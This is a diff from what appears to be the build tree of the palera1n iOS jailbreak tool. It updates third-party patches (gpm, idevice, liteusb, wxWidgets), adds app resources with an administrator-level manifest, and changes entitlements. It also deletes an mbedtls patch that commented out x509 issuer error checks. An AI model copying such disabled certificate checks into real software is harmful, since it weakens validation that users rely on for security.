-+    gpm_report(GPM_PR_ERR,"Resetting PS/2 Device failed: Wrong ID, got %02X.\n",id_code);
-   }
- 
- }
-@@ -3155,7 +3155,7 @@
- 
- void syn_serial_reset(int fd)
- {
--  gpm_report (GPM_PR_INFO,"Reseting Synaptic Serial Touchpad.");
-+  gpm_report (GPM_PR_INFO,"Resetting Synaptic Serial Touchpad.");
- 
-   syn_serial_set_mode (fd, (RELATIVE_MODE    |
- 			    HIGH_REPORT_RATE |
-@@ -3247,7 +3247,7 @@
- 
- void syn_ps2_reset (int fd)
- {
--  gpm_report (GPM_PR_INFO,"Reseting Synaptic PS/2 Touchpad.");
-+  gpm_report (GPM_PR_INFO,"Resetting Synaptic PS/2 Touchpad.");
- 
-   /* Stop incoming motion data (of whatever kind absolute/relative). */
-   tp_ps2_disable_data(fd);

patches/gpm/094_gpm-1.20.7-glibc-2.26-1.patch

@@ -1,63 +0,0 @@
-Origin: http://download.nutyx.org/x86_64/rolling/cli/gpm/gpm-1.20.7-consolidated-1.patch
-Bug: https://github.com/telmich/gpm/issues/21
-Bug-Debian: https://bugs.debian.org/886903
-Bug-LFS: https://wiki.linuxfromscratch.org/blfs/ticket/9616#ticket
-Author: tnut from nutyx.org, https://github.com/tnut
-Description: Fix FTBFS with glibc 2.26
-
---- a/src/daemon/open_console.c
-+++ b/src/daemon/open_console.c
-@@ -24,6 +24,10 @@
- #include <sys/ioctl.h>              /* ioctl             */
- #include <sys/types.h>              /* major()           */
- 
-+#ifdef HAVE_SYS_SYSMACROS_H
-+#include <sys/sysmacros.h>          /* major() w/newer glibc */
-+#endif
-+
- /* Linux specific (to be outsourced in gpm2 */
- #include <linux/serial.h>           /* for serial console check */
- #include <asm/ioctls.h>            /* for serial console check */
---- a/src/prog/gpm-root.y
-+++ b/src/prog/gpm-root.y
-@@ -443,6 +443,7 @@
- }
- 
- /*---------------------------------------------------------------------*/
-+#if 0
- static int f_debug_one(FILE *f, Draw *draw)
- {
-    DrawItem *ip;
-@@ -465,6 +466,7 @@
- #undef LINE
-    return 0;
- }
-+#endif
- 
- int f_debug(int mode, DrawItem *self, int uid)
- {
-@@ -960,10 +962,8 @@
- /*------------*/
- static inline void scr_restore(int fd, FILE *f, unsigned char *buffer, int vc)
- {
--   int x,y, dumpfd;
-+   int dumpfd;
-    char dumpname[20];
--
--   x=buffer[2]; y=buffer[3];
-    
-    /* WILL NOT WORK WITH DEVFS! FIXME! */
-    sprintf(dumpname,"/dev/vcsa%i",vc);
-@@ -1196,11 +1196,7 @@
-                                                         LOG_DAEMON : LOG_USER);
-    /* reap your zombies */
-    childaction.sa_handler=reap_children;
--#if defined(__GLIBC__)
--   __sigemptyset(&childaction.sa_mask);
--#else /* __GLIBC__ */
--   childaction.sa_mask=0;
--#endif /* __GLIBC__ */
-+   sigemptyset(&childaction.sa_mask);
-    childaction.sa_flags=SA_INTERRUPT; /* need to break the select() call */
-    sigaction(SIGCHLD,&childaction,NULL);
- 

patches/gpm/095_fix-compilation-with-gcc-10.patch

@@ -1,20 +0,0 @@
-Description: FTBFS with gcc-10 due to -fno-commons
-Author: Sergei Trofimovich <[email protected]>
-Reviewed-By: Helmut Grohne <[email protected]>
-Origin: https://gitweb.gentoo.org/repo/gentoo.git/commit/?id=8f7e2ac82fc5a1847c132057fb7de1a996d66c76
-Forwarded: https://github.com/telmich/gpm/pull/37
-Bug: https://github.com/telmich/gpm/pull/37
-Bug-Gentoo: https://bugs.gentoo.org/705878
-Bug-Debian: https://bugs.debian.org/953266
-
---- a/src/headers/daemon.h
-+++ b/src/headers/daemon.h
-@@ -176,7 +176,7 @@
- extern Gpm_Type         mice[];
- extern Gpm_Type         *repeated_type;
- 
--time_t                  last_selection_time;
-+extern time_t           last_selection_time;
- 
- 
- 

patches/gpm/096_fix-compilation-against-musl-libc.patch

@@ -1,69 +0,0 @@
-Description: Add musl support
- * Use SA_NODEFER instead of its non-standard alias SA_NOMASK.
- * Add missing sys/select.h and fcntl.h includes.
- * Use standard sigemptyset unconditionally.
- * Define SA_INTERRUPT if it's not defined (historical no-op).
- * With these changes gpm builds against musl libc.
-Author: Szabolcs Nagy <[email protected]>
-Bug-Debian: https://bugs.debian.org/813751
-
---- a/src/lib/liblow.c
-+++ b/src/lib/liblow.c
-@@ -179,7 +179,7 @@
-   /* Reincarnation. Prepare for another death early. */
-   sigemptyset(&sa.sa_mask);
-   sa.sa_handler = gpm_suspend_hook;
--  sa.sa_flags = SA_NOMASK;
-+  sa.sa_flags = SA_NODEFER;
-   sigaction (SIGTSTP, &sa, 0);
- 
-   /* Pop the gpm stack by closing the useless connection */
-@@ -386,7 +386,7 @@
- 
-          /* if signal was originally ignored, job control is not supported */
-          if (gpm_saved_suspend_hook.sa_handler != SIG_IGN) {
--            sa.sa_flags = SA_NOMASK;
-+            sa.sa_flags = SA_NODEFER;
-             sa.sa_handler = gpm_suspend_hook;
-             sigaction(SIGTSTP, &sa, 0);
-          }
---- a/src/prog/display-buttons.c
-+++ b/src/prog/display-buttons.c
-@@ -36,6 +36,7 @@
- #include <stdio.h>            /* printf()             */
- #include <time.h>             /* time()               */
- #include <errno.h>            /* errno                */
-+#include <sys/select.h>       /* fd_set, FD_ZERO      */
- #include <gpm.h>              /* gpm information      */
- 
- /* display resulting data */
---- a/src/prog/display-coords.c
-+++ b/src/prog/display-coords.c
-@@ -37,6 +37,7 @@
- #include <stdio.h>            /* printf()             */
- #include <time.h>             /* time()               */
- #include <errno.h>            /* errno                */
-+#include <sys/select.h>       /* fd_set, FD_ZERO      */
- #include <gpm.h>              /* gpm information      */
- 
- /* display resulting data */
---- a/src/prog/gpm-root.y
-+++ b/src/prog/gpm-root.y
-@@ -1197,6 +1197,9 @@
-    /* reap your zombies */
-    childaction.sa_handler=reap_children;
-    sigemptyset(&childaction.sa_mask);
-+#ifndef SA_INTERRUPT
-+#define SA_INTERRUPT 0
-+#endif
-    childaction.sa_flags=SA_INTERRUPT; /* need to break the select() call */
-    sigaction(SIGCHLD,&childaction,NULL);
- 
---- a/contrib/control/gpm_has_mouse_control.c
-+++ b/contrib/control/gpm_has_mouse_control.c
-@@ -1,4 +1,4 @@
--#include <sys/fcntl.h>
-+#include <fcntl.h>
- #include <sys/kd.h>
- #include <stdio.h>
- #include <stdlib.h>

patches/idevice/0001-compile-usbmuxd-and-windows-fixes.patch

@@ -0,0 +1,129 @@
+diff --git a/cpp/include/idevice++/dvt/network_monitor.hpp b/cpp/include/idevice++/dvt/network_monitor.hpp
+index 229bf6d..6dcf2a2 100644
+--- a/cpp/include/idevice++/dvt/network_monitor.hpp
++++ b/cpp/include/idevice++/dvt/network_monitor.hpp
+@@ -22,7 +22,7 @@ struct CppSocketAddress {
+ 
+ /// A decoded network event from the device
+ struct NetworkEvent {
+-    IdeviceNetworkEventType event_type = Unknown;
++    IdeviceNetworkEventType event_type = NetworkEventUnknown;
+ 
+     // InterfaceDetection
+     uint32_t    interface_index = 0;
+diff --git a/ffi/Cargo.toml b/ffi/Cargo.toml
+index 91bd981..933e743 100644
+--- a/ffi/Cargo.toml
++++ b/ffi/Cargo.toml
+@@ -71,7 +71,7 @@ tunnel_tcp_stack = ["idevice/tunnel_tcp_stack"]
+ tunnel_tcp_stack_pcap = ["idevice/tunnel_tcp_stack_pcap"]
+ tss = ["idevice/tss"]
+ tunneld = ["idevice/tunneld"]
+-usbmuxd = ["idevice/usbmuxd"]
++usbmuxd = ["idevice/usbmuxd", "dep:futures"]
+ wda = ["idevice/wda", "dep:serde_json"]
+ xpc = ["idevice/xpc"]
+ screenshotr = ["idevice/screenshotr"]
+diff --git a/ffi/src/dvt/network_monitor.rs b/ffi/src/dvt/network_monitor.rs
+index e089ffa..264b36d 100644
+--- a/ffi/src/dvt/network_monitor.rs
++++ b/ffi/src/dvt/network_monitor.rs
+@@ -18,7 +18,7 @@ pub enum IdeviceNetworkEventType {
+     InterfaceDetection = 0,
+     ConnectionDetection = 1,
+     ConnectionUpdate = 2,
+-    Unknown = 255,
++    NetworkEventUnknown = 255,
+ }
+ 
+ /// A socket address (IPv4 or IPv6), represented as a null-terminated string + port
+@@ -286,7 +286,7 @@ pub unsafe extern "C" fn network_monitor_next_event(
+                     unknown_type: 0,
+                 },
+                 NetworkEvent::Unknown(t) => IdeviceNetworkEvent {
+-                    event_type: IdeviceNetworkEventType::Unknown,
++                    event_type: IdeviceNetworkEventType::NetworkEventUnknown,
+                     interface_index: 0,
+                     interface_name: null_mut(),
+                     local_addr: make_socket_addr(None),
+diff --git a/ffi/src/lockdown.rs b/ffi/src/lockdown.rs
+index cb04c27..d13a25a 100644
+--- a/ffi/src/lockdown.rs
++++ b/ffi/src/lockdown.rs
+@@ -3,14 +3,14 @@
+ use std::ptr::null_mut;
+ 
+ use idevice::{
+-    IdeviceError, IdeviceService, RsdService as _, lockdown::LockdownClient,
++    IdeviceError, IdeviceService, lockdown::LockdownClient,
+     provider::IdeviceProvider,
+ };
+ use plist_ffi::plist_t;
+ 
+ use crate::{
+-    IdeviceFfiError, IdeviceHandle, IdevicePairingFile, core_device_proxy::AdapterHandle, ffi_err,
+-    provider::IdeviceProviderHandle, rsd::RsdHandshakeHandle, run_sync_local,
++    IdeviceFfiError, IdeviceHandle, IdevicePairingFile, ffi_err,
++    provider::IdeviceProviderHandle, run_sync_local,
+ };
+ 
+ pub struct LockdowndClientHandle(pub LockdownClient);
+@@ -55,45 +55,6 @@ pub unsafe extern "C" fn lockdownd_connect(
+     }
+ }
+ 
+-/// Creates a new LockdownClient via RSD
+-///
+-/// # Arguments
+-/// * [`provider`] - An adapter created by this library
+-/// * [`handshake`] - An RSD handshake from the same provider
+-/// * [`client`] - On success, will be set to point to a newly allocated LockdownClient handle
+-///
+-/// # Returns
+-/// An IdeviceFfiError on error, null on success
+-///
+-/// # Safety
+-/// `provider` must be a valid pointer to a handle allocated by this library
+-/// `handshake` must be a valid pointer to a handle allocated by this library
+-/// `client` must be a valid, non-null pointer to a location where the handle will be stored
+-#[unsafe(no_mangle)]
+-pub unsafe extern "C" fn lockdownd_connect_rsd(
+-    provider: *mut AdapterHandle,
+-    handshake: *mut RsdHandshakeHandle,
+-    client: *mut *mut LockdowndClientHandle,
+-) -> *mut IdeviceFfiError {
+-    if provider.is_null() || handshake.is_null() || client.is_null() {
+-        return ffi_err!(IdeviceError::FfiInvalidArg);
+-    }
+-    let res: Result<LockdownClient, IdeviceError> = run_sync_local(async move {
+-        let provider_ref = unsafe { &mut (*provider).0 };
+-        let handshake_ref = unsafe { &mut (*handshake).0 };
+-        LockdownClient::connect_rsd(provider_ref, handshake_ref).await
+-    });
+-
+-    match res {
+-        Ok(r) => {
+-            let boxed = Box::new(LockdowndClientHandle(r));
+-            unsafe { *client = Box::into_raw(boxed) };
+-            null_mut()
+-        }
+-        Err(e) => ffi_err!(e),
+-    }
+-}
+-
+ /// Creates a new LockdowndClient from an existing Idevice connection
+ ///
+ /// # Arguments
+diff --git a/idevice/src/lib.rs b/idevice/src/lib.rs
+index b208525..d8d8109 100644
+--- a/idevice/src/lib.rs
++++ b/idevice/src/lib.rs
+@@ -51,7 +51,7 @@ pub mod tunnel;
+ pub use xpc::RemoteXpcClient;
+ 
+ use plist_macro::{plist, pretty_print_dictionary, pretty_print_plist};
+-use provider::{IdeviceProvider, RsdProvider};
++use provider::IdeviceProvider;
+ #[cfg(feature = "rustls")]
+ use rustls::{crypto::CryptoProvider, pki_types::ServerName};
+ use std::{

patches/liteusb/0001-cpp-compatible.patch

@@ -0,0 +1,26 @@
+diff --git a/include/liteusb.h b/include/liteusb.h
+index 4f4033a..ab9d48a 100644
+--- a/include/liteusb.h
++++ b/include/liteusb.h
+@@ -134,6 +134,10 @@ typedef struct {
+ #endif
+ } liteusb_handle_t;
+
++#ifdef __cplusplus
++extern "C" {
++#endif
++
+ const char *liteusb_strerror(liteusb_err_t err);
+ liteusb_err_t liteusb_init(uint32_t flags);
+ void liteusb_deinit(void);
+@@ -154,4 +158,8 @@ liteusb_err_t liteusb_upload(liteusb_handle_t *handle, uint32_t endpoint, void *
+ liteusb_err_t liteusb_get_device_desc(liteusb_handle_t *handle, liteusb_device_desc_t *desc);
+ liteusb_err_t liteusb_get_device_serial_num(liteusb_handle_t *handle, char **serial_num);
+
+-#endif /* LITEUSB_HEADER_H */
+\ No newline at end of file
++#ifdef __cplusplus
++}
++#endif
++
++#endif /* LITEUSB_HEADER_H */

patches/mbedtls/0001-Allow-empty-x509-cert-issuer.patch

@@ -1,34 +0,0 @@
-From a2d012f3ba459f6debe636b576ad9aeab7b3c2aa Mon Sep 17 00:00:00 2001
-From: Nick Chan <[email protected]>
-Date: Sat, 27 May 2023 23:50:23 +0800
-Subject: [PATCH] Allow empty x509 cert issuer
-
----
- library/x509_crt.c | 8 ++++----
- 1 file changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/library/x509_crt.c b/library/x509_crt.c
-index cf62532f2..ef25b3d77 100644
---- a/library/x509_crt.c
-+++ b/library/x509_crt.c
-@@ -1061,13 +1061,13 @@ static int x509_crt_parse_der_core(mbedtls_x509_crt *crt,
- 
-     if ((ret = mbedtls_asn1_get_tag(&p, end, &len,
-                                     MBEDTLS_ASN1_CONSTRUCTED | MBEDTLS_ASN1_SEQUENCE)) != 0) {
--        mbedtls_x509_crt_free(crt);
--        return MBEDTLS_ERROR_ADD(MBEDTLS_ERR_X509_INVALID_FORMAT, ret);
-+        /*mbedtls_x509_crt_free(crt);
-+        return MBEDTLS_ERROR_ADD(MBEDTLS_ERR_X509_INVALID_FORMAT, ret);*/
-     }
- 
-     if ((ret = mbedtls_x509_get_name(&p, p + len, &crt->issuer)) != 0) {
--        mbedtls_x509_crt_free(crt);
--        return ret;
-+        /*mbedtls_x509_crt_free(crt);
-+        return ret;*/
-     }
- 
-     crt->issuer_raw.len = p - crt->issuer_raw.p;
--- 
-2.39.1
-

patches/wxWidgets/0001-cpp11-support.patch

@@ -0,0 +1,13 @@
+diff --git a/src/msw/taskdlg.cpp b/src/msw/taskdlg.cpp
+index 7844220405..d3c181029d 100644
+--- a/src/msw/taskdlg.cpp
++++ b/src/msw/taskdlg.cpp
+@@ -966,7 +966,7 @@ TDRadioButtonSubclassProc(HWND hwnd,
+                 ::DefSubclassProc(hwnd, WM_PRINTCLIENT, reinterpret_cast<WPARAM>(hdcBuf), PRF_CLIENT);
+ 
+                 wchar_t text[512] = {};
+-                GetWindowTextW(hwnd, text, static_cast<int>(std::size(text)));
++                GetWindowTextW(hwnd, text, static_cast<int>(sizeof(text) / sizeof(text[0])));
+ 
+                 auto gs = hBtn.GetTrueSize(BP_RADIOBUTTON, RBS_UNCHECKEDNORMAL);
+                 RECT rcText = { gs.x + 2, 0, rcClient.right, rcClient.bottom };

resources/Info.plist

@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+    <dict>
+        <key>CFBundleDevelopmentRegion</key>
+        <string>English</string>
+        <key>CFBundleExecutable</key>
+        <string>palera1n</string>
+        <key>CFBundleIconFile</key>
+        <string>palera1n.icns</string>
+        <key>CFBundleIdentifier</key>
+        <string>palera1n</string>
+        <key>CFBundleInfoDictionaryVersion</key>
+        <string>6.0</string>
+        <key>CFBundleName</key>
+        <string>palera1n</string>
+        <key>CFBundlePackageType</key>
+        <string>APPL</string>
+        <key>NSHumanReadableCopyright</key>
+        <string>(c) 2026 palera1n</string>
+        <key>NSHighResolutionCapable</key>
+        <true/>
+    </dict>
+</plist>

resources/app.rc

@@ -0,0 +1,6 @@
+#include <windows.h>
+
+MAINICON ICON "palera1n.ico"
+
+#define RT_MANIFEST 24
+1 RT_MANIFEST "palera1n.exe.manifest"

resources/entitlements.xml

@@ -3,9 +3,9 @@
 <dict>
 	<key>platform-application</key>
 	<true/>
-	<key>com.apple.private.security.no-container</key>
+	<key>get-task-allow</key>
 	<true/>
-	<key>com.apple.private.skip-library-validation</key>
+	<key>com.apple.private.security.no-container</key>
 	<true/>
 	<key>com.apple.security.iokit-user-client-class</key>
 	<array>

resources/palera1n.exe.manifest

@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
+    <assemblyIdentity
+        version="1.0.0.0"
+        processorArchitecture="*"
+        name="app"
+        type="win32"
+    />
+    <dependency>
+        <dependentAssembly>
+        <assemblyIdentity
+            type="win32"
+            name="Microsoft.Windows.Common-Controls"
+            version="6.0.0.0"
+            processorArchitecture="*"
+            publicKeyToken="6595b64144ccf1df"
+            language="*"
+        />
+        </dependentAssembly>
+    </dependency>
+    <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
+        <security>
+        <requestedPrivileges>
+            <requestedExecutionLevel
+                level="requireAdministrator"
+                uiAccess="false"
+            />
+        </requestedPrivileges>
+        </security>
+    </trustInfo>
+</assembly>